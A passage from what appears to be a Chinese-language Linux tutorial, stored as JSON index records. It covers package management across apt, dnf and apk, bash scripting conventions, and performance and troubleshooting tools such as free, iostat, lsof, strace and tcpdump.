inotify_add_watch(...) no space 时，不是磁盘满，是 watch 数超限： cat \u002Fproc\u002Fsys\u002Ffs\u002Finotify\u002Fmax_user_watches      # 默认常为 8192\necho fs.inotify.max_user_watches=524288 | sudo tee -a \u002Fetc\u002Fsysctl.d\u002F99-inotify.conf\nsudo sysctl --system max_user_instances（每个用户的 inotify 实例数）与 max_queued_events（事件队列长度）也常在 CI\u002FIDE 环境需要调高。注意：NFS\u002FFUSE 挂载点上的 inotify 不工作（远程改动不会通知本机），跨机同步要用轮询或 rsync。",{"id":132492,"title":75156,"titles":132493,"content":132494,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-13",[74425,89431],"删了大文件空间没回来：先想「有没有进程还开着它」（lsof +L1），重启进程或 : > 文件 截断，而不是再删一遍。 rm -rf 删目录树时正在被进程写入的日志会导致磁盘占用反而上升（inode 与块都被打开句柄占住），标准清理顺序是先停服务再清。 mount 到非空目录会「隐藏」原内容，看起来数据丢了其实还在——umount 就回来。 云主机加盘后忘了 nofail，运维把盘摘掉机器直接起不来进 emergency mode。这是最常见的线上事故之一。 dd 用于写盘时（dd if=iso of=\u002Fdev\u002Fsdb）输错设备名就是毁盘，永远先用 lsblk -f 确认，再三检查 of=。",{"id":132496,"title":90886,"titles":132497,"content":90889,"level":341},"\u002Ftutorials\u002Flinux#十五软件包管理aptdnfapk",[74425],{"id":132499,"title":90897,"titles":132500,"content":132501,"level":357},"\u002Ftutorials\u002Flinux#_1-apt-debian-ubuntu-系",[74425,90886],"sudo apt update                    # 刷新索引——只刷新列表，不升级！装任何东西之前\nsudo apt install -y nginx          # 安装；-y 给脚本用。apt 交互式优先；脚本里用 apt-get（apt 会警告接口不稳定）\nsudo apt upgrade                   # 升级全部（保守，不删包）\nsudo apt full-upgrade              # 升级并允许删包（旧名 dist-upgrade），大版本迁移用\nsudo apt remove apache2            # 删包但留配置；purge 连配置一起删，重装时配置会被读回来\nsudo apt autoremove --purge        # 清理不再需要的依赖——会带走你手动装的孤儿包，看清楚列表再 yes\napt search nginx                   # 搜包名与描述（子串不是正则）\napt show nginx                     # 版本、依赖、大小、源——装之前先看\napt list --installed               # 已装列表；可 apt list --installed 'libssl*'\napt policy nginx                   # 候选版本与来源仓库——排「为什么装到旧版本」的唯一正解（含 Pin 优先级）\napt-cache madison nginx            # 各仓库里可用的版本清单\nsudo apt-mark hold linux-image-generic   # 钉住版本不升级（unhold 解开）——生产锁内核的标准做法\nsudo apt -s upgrade                # -s 模拟：看会动什么，不实际改动——生产升级前先跑这个\nsudo apt -f install                # 修依赖：dpkg -i 装失败后的正确一步",{"id":132503,"title":91087,"titles":132504,"content":132505,"level":357},"\u002Ftutorials\u002Flinux#_2-dpkg-本地包与文件归属",[74425,90886],"sudo dpkg -i .\u002Fpkg.deb             # 装本地 .deb——不解析依赖！缺依赖时 sudo apt -f install 补\ndpkg -l | awk '$2 ~ \u002F^i\u002F {print $2}'    # 只列在用的；rc 状态 = 已删但有残留配置\ndpkg -L nginx                      # 这个包装了哪些文件——找配置\u002F二进制在哪\ndpkg -S \u002Fetc\u002Fnginx\u002Fnginx.conf      # 这个文件属于哪个包\nsudo dpkg-reconfigure tzdata       # 重跑配置问答（locales、keyboard-configuration 同理）\napt-file search bin\u002Fconvert        # 查「未装的包」里谁有这个文件（apt install apt-file + apt-file update）",{"id":132507,"title":91175,"titles":132508,"content":132509,"level":357},"\u002Ftutorials\u002Flinux#_3-dnf-与-rpm-rhel-centos-rocky-fedora-系",[74425,90886],"dnf 是 yum 的继任者，命令基本兼容（yum 现在通常是 dnf 的软链接）： sudo dnf -y install nginx          # 安装；dnf remove pkg 卸载（dnf autoremove 清依赖）\ndnf update --security              # 只打安全补丁；update-minimal 同义\ndnf search log \u002F dnf info nginx    # 搜 \u002F 详情\ndnf list available 'python3*'      # 列可用包\ndnf provides '*\u002Fnginx.conf'        # 哪个包提供这个文件路径——排缺库必备，比 apt-file 方便\ndnf repoquery --installed --whatrequires glibc   # 谁依赖它（删之前看）\ndnf repoquery -l pkg               # 包装了哪些文件（等价 rpm -ql）\nsudo dnf history                   # 事务历史；dnf history info 12 看详情\nsudo dnf history undo 12           # 回滚——yum 做不到，dnf 的最大优势\ndnf module list php                # RHEL8+ 模块流：同一包多版本；dnf module enable php:8.2\nsudo dnf install dnf-plugins-core  # 拿到 dnf config-manager（--add-repo URL）、builddep\nrpm -q nginx                       # 是否已装；rpm -qa 'nginx*' 模糊查\nrpm -ql nginx                      # 包内文件列表；--scripts 连安装脚本一起看\nrpm -qf \u002Fetc\u002Fmy.cnf                # 文件属于哪个包（对应 dpkg -S）\nrpm -qpi pkg.rpm \u002F rpm -qpl pkg.rpm  # 查未安装的 rpm 的信息\u002F文件清单\nsudo rpm -ivh pkg.rpm              # 安装（i 安装 v 显示 h 进度条）；依赖不满足会拒绝，改用 dnf install .\u002Fpkg.rpm\nrpm -V openssh-server              # 校验文件是否被改过：S5（大小\u002F摘要不符）、M（模式变）、?（缺失）\nsudo rpm -e pkg                    # 卸载并做依赖检查；--nodeps 强删会留下坏系统，别用",{"id":132511,"title":91460,"titles":132512,"content":132513,"level":357},"\u002Ftutorials\u002Flinux#_4-apk-alpine容器里最常见",[74425,90886],"apk add --no-cache curl bash       # 安装；--no-cache 免手动 update，镜像构建里标配\napk del .build-deps                # 卸载；多阶段构建里的假想依赖组\napk info -e curl                   # 存在则返回 0，脚本判断用\napk search -x 'curl*'              # 搜包；-x 精确名\napk policy busybox                 # 看版本与仓库来源\napk info -w \u002Fbin\u002Fsh                # 文件属于哪个包 → busybox\napk info -L pkg \u002F apk info -d pkg  # 包内文件 \u002F 包的依赖\napk audit                          # 检查被改动的受管文件——容器镜像审计\napk fix                            # 修复损坏安装",{"id":132515,"title":91596,"titles":132516,"content":132517,"level":357},"\u002Ftutorials\u002Flinux#_5-三个反向查询跨体系对照",[74425,90886],"我要问的问题 Debian\u002FUbuntu RHEL 系 Alpine 这个文件是谁装进来的 dpkg -S \u002Fusr\u002Fbin\u002Fconvert rpm -qf \u002Fusr\u002Fbin\u002Fconvert apk info -w \u002Fusr\u002Fbin\u002Fconvert 这个包装了哪些文件 dpkg -L imagemagick rpm -ql imagemagick apk info -L imagemagick 某个命令在哪个包里（还没装） apt-file search bin\u002Fconvert 或 apt search（或直接装 debscan） dnf provides '*\u002Fconvert'（最方便，仓库索引里查） apk search -x + 看包描述 谁依赖这个包 apt-cache rdepends pkg dnf repoquery --whatrequires --installed pkg apk info -t pkg（依赖树反向） 这个包依赖什么 apt-cache depends pkg \u002F dpkg -s pkg dnf repoquery --requires pkg apk info -d pkg 文件有没有被改过 debsums（要装） rpm -V pkg（内置） apk audit 「这个命令找不到，该装哪个包」在 Debian 上还有个内置提示器：装 command-not-found（Ubuntu 默认有）后，输入 convert 会直接回 sudo apt install imagemagick。RHEL 系同理由 dnf-plugins-core 提供。",{"id":132519,"title":91774,"titles":132520,"content":132521,"level":357},"\u002Ftutorials\u002Flinux#_6-源码安装",[74425,90886],"tar xzf app-1.9.3.tar.gz && cd app-1.9.3\n.\u002Fconfigure --prefix=\u002Fusr\u002Flocal --with-openssl     # ① 探测环境，生成 Makefile\nmake -j\"$(nproc)\"                                  # ② 编译\nsudo make install                                  # ③ 装到 \u002Fusr\u002Flocal\nsudo ldconfig                                      # ④ 刷新动态库缓存（装了 .so 才需要） 步骤 常见失败 处理 .\u002Fconfigure no acceptable C compiler \u002F 缺依赖头文件 apt install build-essential；缺的 -dev 包按报错补（zlib1g-dev、libssl-dev）；RHEL 系 dnf groupinstall \"Development Tools\"；dnf builddep pkg.src.rpm \u002F apt build-dep pkg 一次装齐构建依赖 make 内存不足被 OOM 杀掉 降到 make -j1；或加 swap make install 没权限写 \u002Fusr\u002Flocal 用 --prefix=$HOME\u002F.local（之后要把 $HOME\u002F.local\u002Fbin 加 PATH） 运行期 error while loading shared libraries: libxxx.so.1 库没在 \u002Fetc\u002Fld.so.conf 路径里，echo \u002Fusr\u002Flocal\u002Flib | sudo tee \u002Fetc\u002Fld.so.conf.d\u002Flocal.conf && sudo ldconfig；临时验证用 LD_LIBRARY_PATH 卸载 make uninstall 通常不存在 这正是源码安装的致命缺陷 checkinstall 的价值：把 make install 的产物打包成一个受包管理器记录的 .deb\u002F.rpm，于是 dpkg -L 能查文件、apt remove 能干净卸载。命令替换：sudo checkinstall --pkgname=myapp --pkgversion=1.9.3 --default。原则：能用发行版包就不源码装；必须源码装就用 checkinstall，并只装到 \u002Fusr\u002Flocal（与系统包目录隔离，方便整体删除）。",{"id":132523,"title":92017,"titles":132524,"content":132525,"level":357},"\u002Ftutorials\u002Flinux#_7-snap-flatpak-appimage",[74425,90886],"新型包格式 命令 一句话 snap（Ubuntu 主推） snap install htop、snap list、snap changes、snap revert 自带依赖与沙箱，自动升级；冷启动慢、\u002Fsnap 占空间大、镜像源在某些网络下很慢 flatpak（桌面应用） flatpak install flathub org.videolan.VLC、flatpak run …、flatpak update 面向桌面 GUI，服务器基本不用 appimage .\u002FSomeApp.AppImage 单文件免安装，给一个可执行位就能跑 pipx \u002F cargo install \u002F npm i -g 语言级生态 与系统包管理器隔离，冲突少但更新不统一",{"id":132527,"title":92121,"titles":132528,"content":132529,"level":357},"\u002Ftutorials\u002Flinux#_8-容器化发行版为什么没有-systemd",[74425,90886],"Docker\u002FOCI 镜像里的「Debian\u002FAlpine」只是一个根文件系统，不是完整虚拟机： 现象 原因 后果与替代 没有 systemctl（或报 System has not been booted with systemd） PID 1 是应用本身，没有 init 系统 用 docker exec 起进程、镜像 entrypoint、s6\u002Fsupervisord 管多进程 apt 装完服务不自动启动 没有 systemd 触发 unit 手工在启动脚本里拉起，或改由 supervisor 管 journalctl 无用武之地 journald 没跑 日志走 stdout\u002Fstderr，由 docker logs \u002F kubectl logs 收 cron 不工作 crond 没被启动 外部调度器（K8s CronJob）或镜像里显式起 crond ip\u002Fss 看不到宿主机全部信息 独立网络命名空间 nsenter 进命名空间，或在容器内只关心自己那套 装包习惯差异 镜像层要越小越好 apt install -y --no-install-recommends、apk add --no-cache、装完 && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*；调试工具单独打 debug 镜像 排「容器里为什么这条命令没有」时，先想是不是精简镜像（*-slim、alpine、distroless）根本没带这个包，用 apk info \u002F dpkg -l 核对，再决定是装包还是换镜像。",{"id":132531,"title":75156,"titles":132532,"content":132533,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-14",[74425,90886],"apt upgrade 与 apt full-upgrade 混用能引出依赖地狱；生产上先 apt -s upgrade（-s 模拟，不实际改动）看会动什么。 手动 dpkg -i 装失败后不要反复重试，sudo apt -f install 才是修依赖的正确一步。 rpm -Va 输出巨多不等于系统被入侵：绝大多数是配置文件被管理员合法改动、日志文件被写入。看 S5（摘要变了）且是二进制路径才值得警惕。 升级 Python\u002FOpenSSL\u002Fglibc 这类系统库时永远不要用源码覆盖（make install 到 \u002Fusr），apt\u002Fdnf 自身依赖它们，覆盖会当场把包管理器变砖。要装新版本用 apt install python3.12、dnf module、pyenv（装在用户目录）或容器。",{"id":132535,"title":92335,"titles":132536,"content":132537,"level":341},"\u002Ftutorials\u002Flinux#十六shell-本身变量引号与脚本的标配",[74425],"bash 不是命令行集合，它是一门语言。脚本里 90% 的诡异行为（变量为空、单词被拆、退出码丢失）都出自三个地方：引号、展开、set -e 的缺失。这一章把这几件事一次讲清。",{"id":132539,"title":92347,"titles":132540,"content":132541,"level":357},"\u002Ftutorials\u002Flinux#_1-引号三兄弟",[74425,92335],"写法 名字 会不会展开变量\u002F命令 例子 '…' 单引号 完全不展开，所见即字面 echo '$HOME $(date)' 原样输出 \"…\" 双引号 展开 $var、$(cmd)、`，但不拆分单词、不做 glob echo \"$file\" 带空格安全 `…` 反引号命令替换 展开，但嵌套需转义，可读性差 新代码一律换成 $(…) 规则一句话：变量永远包在双引号里（\"$x\"），除非你明确想要单词拆分。判断是否会被拆，用 set -f（临时禁 glob）或 printf '[%s]\\n' \"$x\" 观察。 $'…' 与 $\"…\"：$'a\\nb' 支持 C 转义（\\n、\\t、\\x41）；$\"msg\" 做本地化翻译（基本遇不到）。空数组\u002F未设变量在 set -u 下的安全写法是 ${x:-}。",{"id":132543,"title":92490,"titles":132544,"content":132545,"level":357},"\u002Ftutorials\u002Flinux#_2-变量与-export",[74425,92335],"NAME=deploy                 # 赋值——等号两边不能有空格！NAME = deploy 会被当成执行命令\nreadonly PI=3.14            # 只读，再改会报错\nexport JAVA_HOME=\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17   # 导出为环境变量（子进程可见）；只对之后的子进程生效\nexport -f fn                # 导出函数给子 bash；cron\u002Fsystemd 里不生效（不是 bash 子进程）\nenv                         # 打印当前全部环境；env -i bash 起一个干净环境（测试利器）\nprintenv PATH               # 取单个变量，比 echo $PATH 稳（未设时 echo 输出空行看不出来）\nunset NAME                  # 删变量；export -n NAME 只取消导出而保留本地值\ndeclare -p                  # 看变量的类型与属性，排查数组\u002F整数属性时用 变量展开的形式（脚本里避免 bug 的关键）： 写法 含义 ${x:-默认} x 未设或空则用默认（不改变 x） ${x:=默认} x 未设或空则赋值为默认（常用于「首次运行算一次」） ${x:?消息} x 未设或空则报错退出——破坏性命令前的保险：rm -rf \"${DIR:?}\u002F*\" ${x:+替代} x 有值才用替代值 ${#x} \u002F ${x:5:3} \u002F ${x%%.txt} \u002F ${x\u002F\u002Fa\u002Fb} 长度 \u002F 子串 \u002F 删后缀 \u002F 替换（比调用 sed 快且无 fork）",{"id":132547,"title":92676,"titles":132548,"content":132549,"level":357},"\u002Ftutorials\u002Flinux#_3-path-怎么安全地加一段",[74425,92335],"export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\"    # 日常写法；重复执行会把 PATH 越拉越长，脚本里别这样\n\ncase \":$PATH:\" in *\":$HOME\u002F.local\u002Fbin:\"*) ;; *) export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\" ;; esac\n# 幂等写法：重复执行不累积 坑：PATH 里出现空段（开头或结尾的 :，或 PATH=:）等价于把当前目录 . 加进搜索路径——任何人能在 \u002Ftmp 放一个 ls 骗你执行。检查：echo \"$PATH\" | tr ':' '\\n' | nl。sudo 会用 secure_path 覆盖你的 PATH（sudo -V | grep secure_path 查看），所以 sudo mytool 找不到东西时要改 \u002Fetc\u002Fsudoers 而不是 export。",{"id":132551,"title":92817,"titles":132552,"content":132553,"level":357},"\u002Ftutorials\u002Flinux#_4-启动文件什么时候被读",[74425,92335],"文件 谁读它 何时 放什么 \u002Fetc\u002Fprofile → \u002Fetc\u002Fprofile.d\u002F*.sh 登录 shell 登录时一次 系统级环境（模块、语言、代理） ~\u002F.bash_profile \u002F ~\u002F.profile \u002F ~\u002F.login 登录 shell 找到第一个就不往后（bash 只看 .bash_profile、.bash_login、.profile） 只写 export，并 source ~\u002F.bashrc ~\u002F.bashrc 非交互但交互式的 shell（每个新终端窗口） 每次开 shell alias、函数、提示符、补全 \u002Fetc\u002Fbash.bashrc \u002F \u002Fetc\u002Fbashrc 所有 bash 每次 系统级 alias ~\u002F.bash_logout 登录 shell 退出时 清理（清屏等） $BASH_ENV 非交互 shell（脚本） 脚本启动时 极少用，注意脚本环境 经典问题：.bashrc 里写了 alias 但 ssh host 'cmd' 不生效——因为 ssh host cmd 起的是非交互 shell，.bashrc 开头通常有 case $- in *i*) ;; *) return;; esac 直接返回。把要共享的东西放 .profile\u002F.bashrc 的守卫之前，或用 BASH_ENV。",{"id":132555,"title":92998,"titles":132556,"content":132557,"level":357},"\u002Ftutorials\u002Flinux#_5-alias函数与-history",[74425,92335],"alias ll='ls -lh --color=auto'    # 定义别名；别名不做参数展开，需要参数就写函数\nunalias ll                        # 取消；\\ls 或 command ls 临时绕开别名；脚本里判断用 type -a\nmkcd() { mkdir -p \"$1\" && cd \"$1\"; }   # 函数：定义即执行副作用\n\nhistory                             # 历史列表；history 20 看最近 20 条；HISTSIZE\u002FHISTFILESIZE 控条数\nhistory -a                          # 立即落盘；多终端并发会互相覆盖，设 shopt -s histappend\n!!                                  # 重复上条整条；sudo !! 是忘加 sudo 的标准补救\n!$                                  # 上条的最后一个参数：mkdir a\u002Fb\u002Fc 然后 cd !$；!* 是全部参数\n!42                                 # 执行历史第 42 条；!grep 按开头字符串；!?conf? 最近含 conf 的\n!42:p                               # 只打印不执行，先确认再跑\nCtrl-R                              # 反向搜索——效率最高的一个键；配 fzf 后可模糊选\nhistory -c; history -w              # 清历史；注意 ~\u002F.bash_history 里的敏感命令 位置参数与特殊变量： 变量 含义 关键区别 $0 脚本名 用 basename \"$0\" 做 usage 提示 $1…$9、${10} 第 N 个参数 10 个以上必须加花括号 $# 参数个数 判断数量：[ $# -lt 2 ] && usage \"$@\" 所有参数，各自保持为独立词 正确默认写法；for f in \"$@\"、cmd \"$@\" \"$*\" 所有参数拼成一个字符串（按 $1 分隔） 只在「要当成一整串」时用 $$ 当前 shell PID 临时文件命名 f=$(mktemp) 更好 $? 上一条命令的退出码 0 成功；set -e 之后基本不用再手动查 $! 最后一个后台进程 PID cmd & pid=$! 之后 kill $pid $_ 上一条命令的最后一个参数 交互式很好用 $- \u002F $BASHPID 当前选项标志 \u002F 子 shell 真实 PID 判断是否交互 shell",{"id":132559,"title":93331,"titles":132560,"content":132561,"level":357},"\u002Ftutorials\u002Flinux#_6-脚本的标配",[74425,92335],"#!\u002Fusr\u002Fbin\u002Fenv bash\nset -euo pipefail\nIFS=$'\\n\\t' 选项 作用 为什么是标配 set -e（-o errexit） 命令失败立即退出 没有它，脚本会在错误状态上继续跑到底（cd 失败后继续 rm） set -u（-o nounset） 引用未定义变量即报错 抓拼写错误与「本该传参却忘了传」 set -o pipefail 管道里任一命令失败即失败 默认只看最后一个命令的退出码：grep x file | wc -l 里 grep 失败被吞 set -x（-o xtrace） 打印每条命令的实际展开 调试首选，等价临时 bash -x script.sh set -v 打印读入的原始行 看解析问题 set +x 关掉上面的跟踪 遇到密码时记得关 IFS=$'\\n\\t' 限制字段分割符 防文件名里的空格被拆 set -e 的例外（很多人踩）：条件语句里的命令（if cmd; then）、&&\u002F|| 左侧、管道里非最后一个命令（无 pipefail 时）、以及被取反的 ! cmd 都不会触发退出。函数返回值看最后一条命令。",{"id":132563,"title":96396,"titles":132564,"content":132565,"level":357},"\u002Ftutorials\u002Flinux#_7-与-以及数组",[74425,92335],"维度 [ ]（POSIX test） [[ ]]（bash 关键字） 词拆分\u002F glob 会（变量必须加引号） 不会，[[ $x == *.log ]] 安全 正则匹配 无 [[ $f =~ ^[0-9]{3}$ ]]（右侧不要加引号） 逻辑组合 只能用 -a\u002F-o（有坑） 支持 && 与逻辑或（双竖线），可嵌套 字符串比较 =（== 也接受但非 POSIX） == 支持模式匹配 未加引号的空变量 [: too many arguments 报错 正常处理 可用性 所有 sh bash\u002Fzsh\u002Fksh（#!\u002Fbin\u002Fsh 里不能用） 结论：bash 脚本一律 [[ ]]，\u002Fbin\u002Fsh 脚本一律 [ ] 并给变量加引号。文件测试通用：-e 存在、-f 普通文件、-d 目录、-x 可执行、-r\u002F-w、-s 非空、-L 符号链接、a -nt b 更新。 数组与关联数组： files=(a.log b.log c.log)\necho \"${files[1]}\"           # b.log\necho \"${#files[@]}\"          # 3（元素数）\nprintf '%s\\n' \"${files[@]}\"  # 全部展开，各占一行\nfiles+=(d.log)               # 追加\nunset 'files[1]'             # 删元素（注意引号，否则 shell 先展开）\n\ndeclare -A seen              # 关联数组（bash 4+，Alpine 的 ash 不支持）\nseen[10.0.0.12]=42\nfor k in \"${!seen[@]}\"; do echo \"$k => ${seen[$k]}\"; done\n(( seen[10.0.0.12]++ ))      # 计数惯用式",{"id":132567,"title":93898,"titles":132568,"content":132569,"level":357},"\u002Ftutorials\u002Flinux#_8-shebang执行方式与-read",[74425,92335],"写法 含义 #!\u002Fbin\u002Fbash 固定用 bash（发行版路径一致时最简单） #!\u002Fusr\u002Fbin\u002Fenv bash 从 PATH 找 bash，跨系统更稳（Nix\u002F自编译场景必备） #!\u002Fbin\u002Fsh 承诺只用 POSIX（此时不能 [[ ]]、不能用数组） #!\u002Fusr\u002Fbin\u002Fenv -S bash -eu env 的 -S 把参数一起传（GNU coreutils 8.30+） 没有 shebang 由调用者决定；sh script.sh 会按 POSIX 跑，bash 语法当场报错 chmod +x deploy.sh          # 加执行位（没有它 .\u002Fdeploy.sh 报 Permission denied）\nbash deploy.sh              # 显式用 bash 跑，不需要执行位\nsource deploy.sh            # 在当前 shell 执行（cd 与 export 会留下来）；. .\u002Fenv.sh 是 POSIX 写法\n.\u002Fdeploy.sh                 # 子 shell 执行（最常见：改了 PATH 却没生效，就是用了 .\u002F）\n\nread -p \"目标环境 [dev\u002Fprod]: \" env     # 提示 + 读一行到 env\nread -r -d '' big \u003C file                 # 读整个文件（-d '' 以 NUL 结束）\nread -s -p \"密码: \" pass \u003C \u002Fdev\u002Ftty      # -s 不回显；从 tty 读而非管道\nprintf '%s\\n' a b c | while IFS= read -r line; do …; done   # 逐行读的正确姿势\nread -t 5 -n 1 -p \"按任意键继续\" _       # 带超时与单字符 read 的两个必备参数：-r（否则反斜杠被吃掉）、配 IFS=（否则行首尾空白被去）。逐行处理文件时不要用 for line in $(cat file)——它会按空白拆且丢失空行。",{"id":132571,"title":75156,"titles":132572,"content":132573,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-15",[74425,92335],"set -e 与 if\u002F&& 组合时不生效是设计，不是 bug；关键步骤显式判返回值或加 || exit 1。 \"$*\" 与 \"$@\" 写反了不会报错，只会把带空格的参数粘成一坨——这是脚本处理文件名出问题的第一来源。 反引号里的 $( ) 混用导致转义地狱：全文统一 $()。 修改 PATH\u002Fcd 之后在下一个命令里「没变化」，几乎一定是因为你用了 .\u002Fscript.sh（子 shell）而不是 source。 .bashrc 里写了 set -e 会让交互 shell 在命令失败后直接退出——这是很危险的误配，选项只该写在脚本里。 用 echo 输出以 - 开头的内容会被当参数：统一用 printf '%s\\n'。",{"id":132575,"title":94234,"titles":132576,"content":94237,"level":341},"\u002Ftutorials\u002Flinux#十七性能与排障freeiostatstrace-与总速查表",[74425],{"id":132578,"title":94245,"titles":132579,"content":132580,"level":357},"\u002Ftutorials\u002Flinux#_1-free-内存available-才是重点",[74425,94234],"free -h total        used        free      shared  buff\u002Fcache   available\nMem:           7.7Gi       3.1Gi       214Mi       18Mi       4.3Gi       4.2Gi\nSwap:          1.9Gi       128Mi       1.8Gi 列 含义 读法 total 物理内存总量 减去内核占用才是可用上限 used 应用真正占用 used = total - free - buff\u002Fcache（不同版本算法略有差异） free 完全没被用过的内存 小是正常的，Linux 会把空闲内存拿去做页缓存 buff\u002Fcache 块设备缓冲 + 页缓存 可随时回收，看着大不是问题 available 估算「还能给新应用多少」（free + 可回收的 cache） 判断内存够不够只看这一列 shared tmpfs（含 \u002Fdev\u002Fshm）占用 变大会真吃掉内存 「内存吃满」的判据：available 很小 且 Swap 开始进出（vmstat 的 si\u002Fso 非 0）。只看 free 那一列得出「内存不足」的结论是错的。查谁在用：ps -eo pid,user,rss,cmd --sort=-rss | head（RSS 单位 KB）、smem -rk（含 PSS，共享内存分摊更准）、sudo systemd-cgtop memory（按 cgroup 看，容器环境最准）。",{"id":132582,"title":94421,"titles":132583,"content":132584,"level":357},"\u002Ftutorials\u002Flinux#_2-uptime-负载要结合核数看",[74425,94234],"uptime    #  09:42:11 up 14 days,  3:29,  2 users,  load average: 1.85, 1.42, 0.98\nnproc     #  4 观察 判读 1 \u002F 5 \u002F 15 分钟三个数 短期抖动看第一个；持续升高看第三个；15 分钟值高才是真有问题 与核数之比 load \u002F nproc ≈ 1 表示刚好排满；4 核上 load 8 = 一半时间在排队；load 1 在 4 核上算很闲 高 load 但 %CPU 不高 说明在等 D 状态（磁盘\u002FNFS）——不是 CPU 不够，去查 IO 容器里的 load 显示的是宿主机的，不能用它判断容器健康；看 docker stats 或 cgroup 的 cpu.stat CPU 各时间的细分来源：us（应用代码）、sy（内核，sy 高常见于频繁上下文切换\u002F系统调用风暴）、wa（等 IO）、si\u002Fhi（软\u002F硬中断，网络包风暴会打高 si）、st（被宿主机「偷走」的时间，云主机常见）。工具：top\u002Fhtop、mpstat -P ALL 1（每核分布）、pidstat 1（每进程）、perf top（热点函数，需 kernel 权限）、cgroup 限额导致的 throttled_time。",{"id":132586,"title":94567,"titles":132587,"content":132588,"level":357},"\u002Ftutorials\u002Flinux#_3-iostatsarvmstat-磁盘-io",[74425,94234],"工具 命令 关键列 iostat（sysstat 包） iostat -xz 1 %util（设备繁忙比例，接近 100 说明设备是瓶颈）、await（平均等待 ms，SSD 应 \u003C1，HDD \u003C10）、r_await\u002Fw_await 分开看、avgqu-sz（队列深度） sar sar -d 1 3（磁盘）、sar -u 1（CPU）、sar -r 1（内存）、sar -n DEV 1（网卡）、sar -B 1（换页） 能查历史：sar -u -f \u002Fvar\u002Flog\u002Fsa\u002Fsa04，排「昨天 3 点发生了什么」的唯一实用工具 vmstat vmstat 1 r（运行队列）、b（IO 阻塞数，持续 >0 说明 IO 堵）、si\u002Fso（swap 活动）、wa iotop sudo iotop -o 哪个进程在读写（-o 只显示有 IO 的） pidstat -d 1 -p PID 每进程读写 KB\u002Fs — blktrace\u002Fbiosnoop BCC\u002Fbpftrace 内核级追踪，深度排障 %util 对 SSD\u002FNVMe 阵列不再等于饱和（它能并行），要看 await 与队列深度。sar 的历史数据需要 sysstat 服务开启（cat \u002Fetc\u002Fsysstat 或 ENABLED=yes，RHEL 默认开）。",{"id":132590,"title":94755,"titles":132591,"content":132592,"level":357},"\u002Ftutorials\u002Flinux#_4-dmesg-内核消息与-oom-killer",[74425,94234],"dmesg -T | tail -50                                  # 人类时间戳看最近内核消息\ndmesg -w                                             # 持续看，等价 journalctl -kf\ndmesg | grep -iE 'killed process|out of memory'      # 找 OOM：内存耗尽被杀的记录\njournalctl -k --since \"1 hour ago\" | grep -i oom     # 同上，走 journald\ndmesg | grep -iE 'error|I\u002FO|reset|fail'              # 硬件错：EXT4-fs error、nvme: controller down OOM 记录会写清是谁被杀：Out of memory: Killed process 28414 (java) total-vm:…。保护关键进程：echo -1000 > \u002Fproc\u002F$(pgrep app)\u002Foom_score_adj（范围 -1000~1000），systemd 里写 OOMScoreAdjust=。容器被杀看 cgroup：docker inspect --format '{{.State.OOMKilled}}' id、cat \u002Fsys\u002Ffs\u002Fcgroup\u002F...\u002Fmemory.events 的 oom_kill。 OOM 之后要做的：确认是谁涨的（ps 按 RSS + 应用日志）、给服务加 MemoryMax=（systemd）或容器 --memory，避免它把整机拖死；vm.swappiness=10 让内核更愿意用 swap 而不是直接杀（不是根治）。",{"id":132594,"title":94886,"titles":132595,"content":132596,"level":357},"\u002Ftutorials\u002Flinux#_5-lsof-谁在用这个文件端口",[74425,94234],"sudo lsof -i :8080              # 按端口找进程；-i TCP:8080、-i 4（仅 IPv4）、-sTCP:LISTEN 只看监听\nsudo lsof \u002Fsrv\u002Fapp\u002Fapp.log      # 按文件找进程——排「umount busy」「空间不回收」都用它\nsudo lsof +L1                   # 已删除但被占用：链接数 \u003C1 的文件，磁盘空间被它占着\nsudo lsof -u deploy             # 按用户：看某人开了什么\nsudo lsof -p 28414              # 按 PID 全量：列它的 fd、mmap、库、socket\nsudo lsof -i                    # 只看网络，与 ss 互补（能看到 socket 文件描述符号）\nlsof | wc -l                    # 排查 fd 泄漏：ls \u002Fproc\u002FPID\u002Ffd | wc -l 对比 ulimit -n lsof 慢（要扫所有进程的 fd），生产上先看 ss\u002F\u002Fproc\u002FPID\u002Ffd，需要精确定位再 lsof。fuser -vm \u002Fdata 是它的轻量替代（fuser -k \u002Fdata 直接杀占用者——慎用）。",{"id":132598,"title":95004,"titles":132599,"content":132600,"level":357},"\u002Ftutorials\u002Flinux#_6-strace-ltrace-卡在哪个系统调用",[74425,94234],"strace -f -tt .\u002Fapp                  # 从头跟踪：-f 含子进程、-tt 带时间戳\nstrace -p 28414 -f -s 256             # 附加到运行中的进程（-s 256 加长字符串打印）\nstrace -e trace=network,file -p PID   # 只看某类调用（-e trace=%file）\nstrace -c -p 28414                    # 只出统计：哪个调用耗时\u002F次数最多——排「慢」先看这个\nstrace -o \u002Ftmp\u002Fst.log -yy -ttt -f -p PID   # 落盘分析（-yy 给 socket 对端地址）\nstrace -e openat -f bash script.sh    # 「脚本到底在读哪个配置文件」的终极答案\nltrace -c -p PID                       # 跟踪库函数调用（看它调了哪个 printf\u002FSSL_read）\nperf trace                             # 更低开销的 strace（bpf 实现） strace 会让目标进程明显变慢（每次系统调用都要停下与 ptrace 通信），生产环境用 -c 抽样或短时间附加，别长时间挂着。看 EACCES\u002FENOENT\u002FEAGAIN\u002FETIMEDOUT 这几个错误码，通常一步到位定位问题。ltrace 对静态编译的程序无效（没有库调用可跟踪）。",{"id":132602,"title":95168,"titles":132603,"content":132604,"level":357},"\u002Ftutorials\u002Flinux#_7-tcpdump-与实时流量",[74425,94234],"sudo tcpdump -i any -nn tcp port 8080               # 看某端口有没有流量\nsudo tcpdump -i eth0 -nn host 10.0.0.5 and port 5432  # 抓某主机与某服务的全部包\nsudo tcpdump -i any -w \u002Ftmp\u002Flost.pcap tcp port 443   # 抓下来给 Wireshark 分析（-W 5 -C 50 分片限大小）\nsudo tcpdump -nn 'tcp[tcpflags] & (tcp-syn) != 0 and dst port 443'   # 只看 SYN 无响应（被防火墙丢）\nsudo tcpdump -nn 'tcp[tcpflags] & tcp-rst != 0'      # 看谁在连不上时发 RST\nsudo tcpdump -nn -s0 -A port 53                      # 抓 DNS 问答 参数要点：-nn（不解析端口\u002F主机名，避免自己造 DNS 流量并卡住）、-i any（跨网卡，容器\u002F桥接场景必备）、-s 